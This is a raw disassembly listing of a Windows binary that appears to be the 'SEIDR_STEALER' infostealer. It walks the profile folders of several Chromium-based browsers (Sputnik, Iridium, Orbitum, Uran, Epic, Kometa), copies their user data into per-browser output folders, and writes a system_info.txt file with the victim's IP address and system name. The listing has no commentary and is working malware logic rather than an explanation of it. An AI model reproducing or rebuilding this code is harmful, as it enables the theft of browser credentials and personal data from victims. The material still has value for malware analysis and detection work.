lea rcx, [rbp + 0x250]
call fcn.14000bfe0
lea r8, str._appdata_local_Sputnik__Sputnik_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x18]
call fcn.140030530
nop
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.140012380
nop
lea rcx, [rbp - 0x18]
call fcn.14002c6f0
lea rdx, str.Default
lea rcx, [rbp + 0x290]
call fcn.14002c8a0
nop
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x250]
call fcn.14002bda0
nop
lea rcx, [rbp + 0x290]
call fcn.14002c6f0
lea r8, str._output_sputnik_
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 8]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rdx, rax
lea rcx, [rbp + 0x2d0]
call fcn.14002c350
nop
lea rcx, [rbp + 8]
call fcn.140007810
lea r8, [0x14028d180]
lea rdx, [rbp + 0x310]
lea rcx, [rbp - 0x18]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.14002c350
nop
lea rcx, [rbp - 0x18]
call fcn.140007810
lea rcx, [rbp + 0x2d0]
call fcn.14002c1d0
mov qword [rbp - 0x48], rax
lea rcx, [rbp + 0x2b0]
call fcn.14002c1d0
mov qword [rbp - 0x40], rax
lea rax, [rbp + 8]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 8]
call fcn.14002c8e0
mov r13, rax
lea rax, [rbp - 0x68]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0x368]
lea rcx, [rbp - 0x68]
call fcn.14002b830
mov r12, rax
lea rax, [rbp + 0xc8]
mov qword [rbp - 0x70], rax
lea r8, [0x140288cbc]
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0xc8]
call fcn.140030530
mov r15, rax
lea rax, [rbp + 0x128]
mov qword [rsp + 0x70], rax
lea r8, str._appdata_local_SputnikSputnik_user_data
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x128]
call fcn.140030530
mov r14, rax
lea rax, [rbp + 0x58]
mov qword [rbp + 0x80], rax
lea rdx, [0x14028d180]
lea rcx, [rbp + 0x58]
call fcn.14002c350
mov rsi, rax
lea rax, [rbp + 0xa8]
mov qword [rbp + 0x78], rax
lea rdx, str._sputnik_
lea rcx, [rbp + 0xa8]
call fcn.14002c8a0
mov rdi, rax
lea rax, [rbp - 0x38]
mov qword [rbp + 0x30], rax
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x38]
call fcn.14002c8e0
mov rbx, rax
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0xe8]
call fcn.14002be00
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r12
mov rcx, qword [rbp - 0x40]
mov qword [rsp + 0x38], rcx
mov rcx, qword [rbp - 0x48]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014e00
nop
lea rcx, [rbp + 0x2b0]
call fcn.140007810
nop
lea rcx, [rbp + 0x2d0]
call fcn.140007810
nop
lea rcx, [rbp + 0x250]
call fcn.14002bdf0
mov ebx, dword [rsp + 0x58]
lea r8, str._appdata_local_Iridium_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 8]
call fcn.140030530
nop
bts ebx, 0x18
mov dword [rsp + 0x60], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.140032460
nop
bts ebx, 0x19
mov dword [rsp + 0x58], ebx
mov dword [rsp + 0x60], ebx
lea rcx, [rbp + 0x2b0]
call fcn.140009ea0
test al, al
je 0x140025d72
lea r8, str._appdata_local_Iridium_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x18]
call fcn.140030530
nop
bts ebx, 0x1a
mov dword [rsp + 0x60], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x290]
call fcn.140032460
nop
bts ebx, 0x1b
mov dword [rsp + 0x58], ebx
mov dword [rsp + 0x60], ebx
lea rcx, [rbp + 0x290]
call fcn.140009f30
test al, al
je 0x140025d72
mov dil, 1
jmp 0x140025d75
xor dil, dil
bt ebx, 0x1b
jae 0x140025d94
btr ebx, 0x1b
mov dword [rsp + 0x58], ebx
lea rcx, [rbp + 0x290]
call fcn.140007810
nop
bt ebx, 0x1a
jae 0x140025db0
btr ebx, 0x1a
mov dword [rsp + 0x58], ebx
lea rcx, [rbp - 0x18]
call fcn.14002c6f0
nop
bt ebx, 0x19
jae 0x140025dcf
btr ebx, 0x19
mov dword [rsp + 0x58], ebx
lea rcx, [rbp + 0x2b0]
call fcn.140007810
nop
bt ebx, 0x18
jae 0x140025dea
btr ebx, 0x18
mov dword [rsp + 0x58], ebx
lea rcx, [rbp + 8]
call fcn.14002c6f0
test dil, dil
je 0x140026052
mov edx, Ordinal_26
lea rcx, [rbp + 0x250]
call fcn.14000bfe0
lea r8, str._appdata_local_Iridium_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x18]
call fcn.140030530
nop
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.140012380
nop
lea rcx, [rbp - 0x18]
call fcn.14002c6f0
lea rdx, str.Default
lea rcx, [rbp + 0x290]
call fcn.14002c8a0
nop
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x250]
call fcn.14002bda0
nop
lea rcx, [rbp + 0x290]
call fcn.14002c6f0
lea r8, str._output_Iridium_
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 8]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rdx, rax
lea rcx, [rbp + 0x2d0]
call fcn.14002c350
nop
lea rcx, [rbp + 8]
call fcn.140007810
lea r8, [0x14028d228]
lea rdx, [rbp + 0x310]
lea rcx, [rbp - 0x18]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.14002c350
nop
lea rcx, [rbp - 0x18]
call fcn.140007810
lea rcx, [rbp + 0x2d0]
call fcn.14002c1d0
mov qword [rbp - 0x48], rax
lea rcx, [rbp + 0x2b0]
call fcn.14002c1d0
mov qword [rbp - 0x40], rax
lea rax, [rbp + 8]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 8]
call fcn.14002c8e0
mov r13, rax
lea rax, [rbp - 0x68]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0x368]
lea rcx, [rbp - 0x68]
call fcn.14002b830
mov r12, rax
lea rax, [rbp + 0xc8]
mov qword [rbp - 0x70], rax
lea r8, [0x140288cbc]
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0xc8]
call fcn.140030530
mov r15, rax
lea rax, [rbp + 0x128]
mov qword [rsp + 0x70], rax
lea r8, str._appdata_local_Iridium_user_data
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x128]
call fcn.140030530
mov r14, rax
lea rax, [rbp + 0x58]
mov qword [rbp + 0x80], rax
lea rdx, [0x14028d228]
lea rcx, [rbp + 0x58]
call fcn.14002c350
mov rsi, rax
lea rax, [rbp + 0xa8]
mov qword [rbp + 0x78], rax
lea rdx, str._Iridium_
lea rcx, [rbp + 0xa8]
call fcn.14002c8a0
mov rdi, rax
lea rax, [rbp - 0x38]
mov qword [rbp + 0x30], rax
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x38]
call fcn.14002c8e0
mov rbx, rax
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0xe8]
call fcn.14002be00
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r12
mov rcx, qword [rbp - 0x40]
mov qword [rsp + 0x38], rcx
mov rcx, qword [rbp - 0x48]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014e00
nop
lea rcx, [rbp + 0x2b0]
call fcn.140007810
nop
lea rcx, [rbp + 0x2d0]
call fcn.140007810
nop
lea rcx, [rbp + 0x250]
call fcn.14002bdf0
mov ebx, dword [rsp + 0x58]
lea r8, str._appdata_local_Orbitum_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 8]
call fcn.140030530
nop
bts ebx, 0x1c
mov dword [rsp + 0x60], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.140032460
nop
bts ebx, 0x1d
mov dword [rsp + 0x60], ebx
lea rcx, [rbp + 0x2b0]
call fcn.140009ea0
test al, al
je 0x1400260fa
lea r8, str._appdata_local_Orbitum_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x18]
call fcn.140030530
nop
bts ebx, 0x1e
mov dword [rsp + 0x60], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x290]
call fcn.140032460
nop
or ebx, 0x80000000
mov dword [rsp + 0x60], ebx
lea rcx, [rbp + 0x290]
call fcn.140009f30
test al, al
je 0x1400260fa
mov dil, 1
jmp 0x1400260fd
xor dil, dil
test ebx, ebx
jns 0x140026116
btr ebx, 0x1f
lea rcx, [rbp + 0x290]
call fcn.140007810
nop
bt ebx, 0x1e
jae 0x14002612e
btr ebx, 0x1e
lea rcx, [rbp - 0x18]
call fcn.14002c6f0
nop
bt ebx, 0x1d
jae 0x140026149
btr ebx, 0x1d
lea rcx, [rbp + 0x2b0]
call fcn.140007810
nop
bt ebx, 0x1c
jae 0x14002615c
lea rcx, [rbp + 8]
call fcn.14002c6f0
test dil, dil
je 0x1400263c0
mov edx, Ordinal_26
lea rcx, [rbp + 0x250]
call fcn.14000bfe0
lea r8, str._appdata_local_Orbitum_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x18]
call fcn.140030530
nop
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.140012380
nop
lea rcx, [rbp - 0x18]
call fcn.14002c6f0
lea rdx, str.Default
lea rcx, [rbp + 0x290]
call fcn.14002c8a0
nop
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x250]
call fcn.14002bda0
nop
lea rcx, [rbp + 0x290]
call fcn.14002c6f0
lea r8, str._output_Orbitum_
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 8]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rdx, rax
lea rcx, [rbp + 0x2d0]
call fcn.14002c350
nop
lea rcx, [rbp + 8]
call fcn.140007810
lea r8, [0x14028d2c8]
lea rdx, [rbp + 0x310]
lea rcx, [rbp - 0x18]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.14002c350
nop
lea rcx, [rbp - 0x18]
call fcn.140007810
lea rcx, [rbp + 0x2d0]
call fcn.14002c1d0
mov qword [rbp - 0x48], rax
lea rcx, [rbp + 0x2b0]
call fcn.14002c1d0
mov qword [rbp - 0x40], rax
lea rax, [rbp + 8]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 8]
call fcn.14002c8e0
mov r13, rax
lea rax, [rbp - 0x68]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0x368]
lea rcx, [rbp - 0x68]
call fcn.14002b830
mov r12, rax
lea rax, [rbp + 0xc8]
mov qword [rbp - 0x70], rax
lea r8, [0x140288cbc]
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0xc8]
call fcn.140030530
mov r15, rax
lea rax, [rbp + 0x128]
mov qword [rsp + 0x70], rax
lea r8, str._appdata_local_Orbitum_user_data
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x128]
call fcn.140030530
mov r14, rax
lea rax, [rbp + 0x58]
mov qword [rbp + 0x80], rax
lea rdx, [0x14028d2c8]
lea rcx, [rbp + 0x58]
call fcn.14002c350
mov rsi, rax
lea rax, [rbp + 0xa8]
mov qword [rbp + 0x78], rax
lea rdx, str._Orbitum_
lea rcx, [rbp + 0xa8]
call fcn.14002c8a0
mov rdi, rax
lea rax, [rbp - 0x38]
mov qword [rbp + 0x30], rax
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x38]
call fcn.14002c8e0
mov rbx, rax
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0xe8]
call fcn.14002be00
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r12
mov rcx, qword [rbp - 0x40]
mov qword [rsp + 0x38], rcx
mov rcx, qword [rbp - 0x48]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014e00
nop
lea rcx, [rbp + 0x2b0]
call fcn.140007810
nop
lea rcx, [rbp + 0x2d0]
call fcn.140007810
nop
lea rcx, [rbp + 0x250]
call fcn.14002bdf0
lea r8, str._appdata_local_uCozMedia__Uran_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 8]
call fcn.140030530
nop
mov dword [rsp + 0x58], 1
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.140032460
nop
mov r13d, 3
mov dword [rsp + 0x60], r13d
mov dword [rsp + 0x58], r13d
lea rcx, [rbp + 0x2b0]
call fcn.140009ea0
test al, al
je 0x140026475
lea r8, str._appdata_local_uCozMedia__Uran_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x18]
call fcn.140030530
nop
mov dword [rsp + 0x58], 7
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x290]
call fcn.140032460
nop
mov r13d, reloc.WS2_32.dll_ntohs
mov dword [rsp + 0x60], r13d
mov dword [rsp + 0x58], r13d
lea rcx, [rbp + 0x290]
call fcn.140009f30
test al, al
je 0x140026475
mov bl, 1
jmp 0x140026477
xor bl, bl
test r13b, 8
je 0x140026497
and r13d, 0xfffffff7
mov dword [rsp + 0x60], r13d
lea rcx, [rbp + 0x290]
call fcn.140007810
nop
test r13b, 4
je 0x1400264b4
and r13d, 0xfffffffb
mov dword [rsp + 0x60], r13d
lea rcx, [rbp - 0x18]
call fcn.14002c6f0
nop
test r13b, 2
je 0x1400264d4
and r13d, 0xfffffffd
mov dword [rsp + 0x60], r13d
lea rcx, [rbp + 0x2b0]
call fcn.140007810
nop
test r13b, 1
je 0x1400264f0
and r13d, 0xfffffffe
mov dword [rsp + 0x60], r13d
lea rcx, [rbp + 8]
call fcn.14002c6f0
test bl, bl
je 0x140026758
mov edx, Ordinal_26
lea rcx, [rbp + 0x250]
call fcn.14000bfe0
lea r8, str._appdata_local_uCozMedia__Uran_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x18]
call fcn.140030530
nop
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.140012380
nop
lea rcx, [rbp - 0x18]
call fcn.14002c6f0
lea rdx, str.Default
lea rcx, [rbp + 0x290]
call fcn.14002c8a0
nop
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x250]
call fcn.14002bda0
nop
lea rcx, [rbp + 0x290]
call fcn.14002c6f0
lea r8, str._output_UCozMedia_
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 8]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rdx, rax
lea rcx, [rbp + 0x2d0]
call fcn.14002c350
nop
lea rcx, [rbp + 8]
call fcn.140007810
lea r8, str._UCozMedia_
lea rdx, [rbp + 0x310]
lea rcx, [rbp - 0x18]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.14002c350
nop
lea rcx, [rbp - 0x18]
call fcn.140007810
lea rcx, [rbp + 0x2d0]
call fcn.14002c1d0
mov qword [rbp - 0x48], rax
lea rcx, [rbp + 0x2b0]
call fcn.14002c1d0
mov qword [rbp - 0x40], rax
lea rax, [rbp + 8]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 8]
call fcn.14002c8e0
mov r13, rax
lea rax, [rbp - 0x68]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0x368]
lea rcx, [rbp - 0x68]
call fcn.14002b830
mov r12, rax
lea rax, [rbp + 0xc8]
mov qword [rbp - 0x70], rax
lea r8, [0x140288cbc]
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0xc8]
call fcn.140030530
mov r15, rax
lea rax, [rbp + 0x128]
mov qword [rsp + 0x70], rax
lea r8, str._appdata_local_uCozMediaUran_user_data
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x128]
call fcn.140030530
mov r14, rax
lea rax, [rbp + 0x58]
mov qword [rbp + 0x80], rax
lea rdx, [0x14028d2c8]
lea rcx, [rbp + 0x58]
call fcn.14002c350
mov rsi, rax
lea rax, [rbp + 0xa8]
mov qword [rbp + 0x78], rax
lea rdx, str._Orbitum_
lea rcx, [rbp + 0xa8]
call fcn.14002c8a0
mov rdi, rax
lea rax, [rbp - 0x38]
mov qword [rbp + 0x30], rax
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x38]
call fcn.14002c8e0
mov rbx, rax
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0xe8]
call fcn.14002be00
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r12
mov rcx, qword [rbp - 0x40]
mov qword [rsp + 0x38], rcx
mov rcx, qword [rbp - 0x48]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014e00
nop
lea rcx, [rbp + 0x2b0]
call fcn.140007810
nop
lea rcx, [rbp + 0x2d0]
call fcn.140007810
nop
lea rcx, [rbp + 0x250]
call fcn.14002bdf0
mov r13d, dword [rsp + 0x60]
lea r8, str._appdata_local_Epic_Privacy_Browser_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 8]
call fcn.140030530
nop
or r13d, 0x10
mov dword [rsp + 0x58], r13d
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.140032460
nop
or r13d, 0x20
mov dword [rsp + 0x60], r13d
mov dword [rsp + 0x58], r13d
lea rcx, [rbp + 0x2b0]
call fcn.140009ea0
test al, al
je 0x14002680c
lea r8, str._appdata_local_Epic_Privacy_Browser_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x18]
call fcn.140030530
nop
or r13d, 0x40
mov dword [rsp + 0x58], r13d
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x290]
call fcn.140032460
nop
bts r13d, 7
mov dword [rsp + 0x60], r13d
mov dword [rsp + 0x58], r13d
lea rcx, [rbp + 0x290]
call fcn.140009f30
test al, al
je 0x14002680c
mov bl, 1
jmp 0x14002680e
xor bl, bl
test r13b, r13b
jns 0x14002682e
btr r13d, 7
mov dword [rsp + 0x60], r13d
lea rcx, [rbp + 0x290]
call fcn.140007810
nop
test r13b, 0x40
je 0x14002684b
and r13d, 0xffffffbf
mov dword [rsp + 0x60], r13d
lea rcx, [rbp - 0x18]
call fcn.14002c6f0
nop
test r13b, 0x20
je 0x14002686b
and r13d, 0xffffffdf
mov dword [rsp + 0x60], r13d
lea rcx, [rbp + 0x2b0]
call fcn.140007810
nop
test r13b, 0x10
je 0x140026887
and r13d, 0xffffffef
mov dword [rsp + 0x60], r13d
lea rcx, [rbp + 8]
call fcn.14002c6f0
test bl, bl
je 0x140026aef
mov edx, Ordinal_26
lea rcx, [rbp + 0x250]
call fcn.14000bfe0
lea r8, str._appdata_local_Epic_Privacy_Browser_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x18]
call fcn.140030530
nop
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.140012380
nop
lea rcx, [rbp - 0x18]
call fcn.14002c6f0
lea rdx, str.Default
lea rcx, [rbp + 0x290]
call fcn.14002c8a0
nop
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x250]
call fcn.14002bda0
nop
lea rcx, [rbp + 0x290]
call fcn.14002c6f0
lea r8, str._output_Epic_
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 8]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rdx, rax
lea rcx, [rbp + 0x2d0]
call fcn.14002c350
nop
lea rcx, [rbp + 8]
call fcn.140007810
lea r8, [0x14028d400]
lea rdx, [rbp + 0x310]
lea rcx, [rbp - 0x18]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.14002c350
nop
lea rcx, [rbp - 0x18]
call fcn.140007810
lea rcx, [rbp + 0x2d0]
call fcn.14002c1d0
mov qword [rbp - 0x48], rax
lea rcx, [rbp + 0x2b0]
call fcn.14002c1d0
mov qword [rbp - 0x40], rax
lea rax, [rbp + 8]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 8]
call fcn.14002c8e0
mov r13, rax
lea rax, [rbp - 0x68]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0x368]
lea rcx, [rbp - 0x68]
call fcn.14002b830
mov r12, rax
lea rax, [rbp + 0xc8]
mov qword [rbp - 0x70], rax
lea r8, [0x140288cbc]
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0xc8]
call fcn.140030530
mov r15, rax
lea rax, [rbp + 0x128]
mov qword [rsp + 0x70], rax
lea r8, str._appdata_local_Epic_Privacy_Browser_user_data
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x128]
call fcn.140030530
mov r14, rax
lea rax, [rbp + 0x58]
mov qword [rbp + 0x80], rax
lea rdx, [0x14028d400]
lea rcx, [rbp + 0x58]
call fcn.14002c350
mov rsi, rax
lea rax, [rbp + 0xa8]
mov qword [rbp + 0x78], rax
lea rdx, str._Epic_
lea rcx, [rbp + 0xa8]
call fcn.14002c8a0
mov rdi, rax
lea rax, [rbp - 0x38]
mov qword [rbp + 0x30], rax
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x38]
call fcn.14002c8e0
mov rbx, rax
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0xe8]
call fcn.14002be00
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r12
mov rcx, qword [rbp - 0x40]
mov qword [rsp + 0x38], rcx
mov rcx, qword [rbp - 0x48]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014e00
nop
lea rcx, [rbp + 0x2b0]
call fcn.140007810
nop
lea rcx, [rbp + 0x2d0]
call fcn.140007810
nop
lea rcx, [rbp + 0x250]
call fcn.14002bdf0
mov r13d, dword [rsp + 0x60]
lea r8, str._appdata_local_Kometa_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 8]
call fcn.140030530
nop
bts r13d, 8
mov dword [rsp + 0x58], r13d
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.140032460
nop
bts r13d, 9
mov dword [rsp + 0x60], r13d
mov dword [rsp + 0x58], r13d
lea rcx, [rbp + 0x2b0]
call fcn.140009ea0
test al, al
je 0x140026ba6
lea r8, str._appdata_local_Kometa_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x18]
call fcn.140030530
nop
bts r13d, 0xa
mov dword [rsp + 0x58], r13d
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x290]
call fcn.140032460
nop
bts r13d, 0xb
mov dword [rsp + 0x60], r13d
mov dword [rsp + 0x58], r13d
lea rcx, [rbp + 0x290]
call fcn.140009f30
test al, al
je 0x140026ba6
mov bl, 1
jmp 0x140026ba8
xor bl, bl
bt r13d, 0xb
jae 0x140026bca
btr r13d, 0xb
mov dword [rsp + 0x60], r13d
lea rcx, [rbp + 0x290]
call fcn.140007810
nop
bt r13d, 0xa
jae 0x140026be9
btr r13d, 0xa
mov dword [rsp + 0x60], r13d
lea rcx, [rbp - 0x18]
call fcn.14002c6f0
nop
bt r13d, 9
jae 0x140026c0b
btr r13d, 9
mov dword [rsp + 0x60], r13d
lea rcx, [rbp + 0x2b0]
call fcn.140007810
nop
bt r13d, 8
jae 0x140026c29
btr r13d, 8
mov dword [rsp + 0x60], r13d
lea rcx, [rbp + 8]
call fcn.14002c6f0
test bl, bl
je 0x140026e91
mov edx, Ordinal_26
lea rcx, [rbp + 0x250]
call fcn.14000bfe0
lea r8, str._appdata_local_Kometa_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x18]
call fcn.140030530
nop
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.140012380
nop
lea rcx, [rbp - 0x18]
call fcn.14002c6f0
lea rdx, str.Default
lea rcx, [rbp + 0x290]
call fcn.14002c8a0
nop
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x250]
call fcn.14002bda0
nop
lea rcx, [rbp + 0x290]
call fcn.14002c6f0
lea r8, str._output_Kometa_
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 8]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rdx, rax
lea rcx, [rbp + 0x2d0]
call fcn.14002c350
nop
lea rcx, [rbp + 8]
call fcn.140007810
lea r8, [0x14028d490]
lea rdx, [rbp + 0x310]
lea rcx, [rbp - 0x18]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.14002c350
nop
lea rcx, [rbp - 0x18]
call fcn.140007810
lea rcx, [rbp + 0x2d0]
call fcn.14002c1d0
mov qword [rbp - 0x48], rax
lea rcx, [rbp + 0x2b0]
call fcn.14002c1d0
mov qword [rbp - 0x40], rax
lea rax, [rbp + 8]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 8]
call fcn.14002c8e0
mov r13, rax
lea rax, [rbp - 0x68]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0x368]
lea rcx, [rbp - 0x68]
call fcn.14002b830
mov r12, rax
lea rax, [rbp + 0xc8]
mov qword [rbp - 0x70], rax
lea r8, [0x140288cbc]
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0xc8]
call fcn.140030530
mov r15, rax
lea rax, [rbp + 0x128]
mov qword [rsp + 0x70], rax
lea r8, str._appdata_local_Kometa_user_data
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x128]
call fcn.140030530
mov r14, rax
lea rax, [rbp + 0x58]
mov qword [rbp + 0x80], rax
lea rdx, [0x14028d490]
lea rcx, [rbp + 0x58]
call fcn.14002c350
mov rsi, rax
lea rax, [rbp + 0xa8]
mov qword [rbp + 0x78], rax
lea rdx, str._Kometa_
lea rcx, [rbp + 0xa8]
call fcn.14002c8a0
mov rdi, rax
lea rax, [rbp - 0x38]
mov qword [rbp + 0x30], rax
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x38]
call fcn.14002c8e0
mov rbx, rax
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0xe8]
call fcn.14002be00
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r12
mov rcx, qword [rbp - 0x40]
mov qword [rsp + 0x38], rcx
mov rcx, qword [rbp - 0x48]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014e00
nop
lea rcx, [rbp + 0x2b0]
call fcn.140007810
nop
lea rcx, [rbp + 0x2d0]
call fcn.140007810
nop
lea rcx, [rbp + 0x250]
call fcn.14002bdf0
mov r13d, dword [rsp + 0x60]
mov edx, 0x108
lea rcx, [rbp + 0x6d0]
call fcn.14000b840
lea r8, str._output_system_info.txt
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp - 0x18]
call fcn.140030530
nop
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
mov rdx, rax
lea rcx, [rbp + 0x6d0]
call fcn.1400293c0
nop
lea rcx, [rbp - 0x18]
call fcn.14002c6f0
lea rcx, [rbp + 0x6b0]
call fcn.14000bb40
nop
lea rcx, [rbp + 0x670]
call fcn.14000bbd0
nop
lea rcx, [rbp + 0x650]
call fcn.14000bc70
nop
lea rcx, [rbp + 0x630]
call fcn.14000bff0
nop
lea rcx, [rbp + 0x610]
call fcn.14000c520
nop
mov edx, Ordinal_26
lea rcx, [rbp + 0x468]
call fcn.14000bfe0
lea rcx, [rbp + 0x468]
call fcn.140017630
nop
lea rdx, str.SEIDR_STEALER
lea rcx, [rbp + 0x6d0]
call fcn.1400324a0
lea rdx, [fcn.140032d20]
mov rcx, rax
call fcn.14002b0f0
lea rdx, [fcn.140032d20]
lea rcx, [rbp + 0x6d0]
call fcn.14002b0f0
lea rdx, str.IP_Address:
lea rcx, [rbp + 0x6d0]
call fcn.1400324a0
mov rcx, rax
lea rdx, [rbp + 0x538]
call fcn.140032750
lea rdx, [fcn.140032d20]
mov rcx, rax
call fcn.14002b0f0
lea r8, [rbp + 0x6b0]
lea rdx, str.System_Name:
lea rcx, [rbp - 0x18]
call fcn.140030610
nop
mov rdx, rax
lea rcx, [rbp + 0x6d0]
call fcn.140032750
lea rdx, [fcn.140032d20]
mov rcx, rax
call fcn.14002b0f0
nop
lea rcx, [rbp - 0x18]
call fcn.14002c6f0
